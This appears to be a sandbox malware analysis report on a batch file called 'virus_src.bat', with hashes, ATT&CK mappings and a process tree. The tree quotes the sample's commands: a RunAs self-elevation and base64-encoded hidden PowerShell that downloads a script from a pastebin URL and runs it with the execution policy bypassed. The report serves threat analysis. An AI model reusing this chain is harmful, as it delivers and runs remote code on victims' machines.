847d7d889d1d5dc33f7c24d82dccc71cb9032fd743e8a52364dc5e0a07a03e69

General

Target

virus_src.bat
Size

720B
MD5

25cc17794b4a00de0db1dc2f14580af4
SHA1

f119d7d9bc38af460a8da42c9dbc09faa77130b1
SHA256

847d7d889d1d5dc33f7c24d82dccc71cb9032fd743e8a52364dc5e0a07a03e69
SHA512

70b49b9b7f7798f3ae15dfe100bf19eaf734de4c92b18b75295b06e455d64aee16879432ccfb3d95c78cbe301600504cfe485ddde59745dae62d64dd014b83ab

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2744	powershell.exe
540	powershell.exe
828	powershell.exe
2704	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
540	powershell.exe
540	powershell.exe
540	powershell.exe
828	powershell.exe
2704	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	828	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 540	2492	cmd.exe	32
PID 2492 wrote to memory of 540	2492	cmd.exe	32
PID 2492 wrote to memory of 540	2492	cmd.exe	32
PID 540 wrote to memory of 2092	540	powershell.exe	33
PID 540 wrote to memory of 2092	540	powershell.exe	33
PID 540 wrote to memory of 2092	540	powershell.exe	33
PID 2092 wrote to memory of 828	2092	cmd.exe	35
PID 2092 wrote to memory of 828	2092	cmd.exe	35
PID 2092 wrote to memory of 828	2092	cmd.exe	35
PID 2092 wrote to memory of 2704	2092	cmd.exe	36
PID 2092 wrote to memory of 2704	2092	cmd.exe	36
PID 2092 wrote to memory of 2704	2092	cmd.exe	36
PID 2704 wrote to memory of 2744	2704	powershell.exe	37
PID 2704 wrote to memory of 2744	2704	powershell.exe	37
PID 2704 wrote to memory of 2744	2704	powershell.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\virus_src.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\virus_src.bat' -ArgumentList "am_admin"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\virus_src.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AQQBlAHYAaAB1AEgAdgBaACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAHMAeQBzAGIAbwBvAHQALgBwAHMAMQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABzAHkAcwBiAG8AbwB0AC4AcABzADEADQAKAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\sysboot.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
658b4b9f3a024f0d59f433c10c10ec3a

SHA1
aab55f1e4471aa5219eca6176f4097b58b12fb05

SHA256
ee0fd6e04086999b544a6a243c46dcb8b3f0cda2d2b577df0d91132f2522a66e

SHA512
f024318140067da77147cc5bcea1e37d3010e064fa1894ec68383d817c2b61cb7272a31540a32eaef514cb9000353bf8c5662525cb03dea22748dd8ca7edd3dc

Download Submit
memory/540-4-0x000007FEF5EEE000-0x000007FEF5EEF000-memory.dmp

Filesize
4KB

Download
memory/540-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/540-6-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/540-7-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/540-8-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/540-9-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/540-10-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/828-16-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2704-22-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download

Analysis

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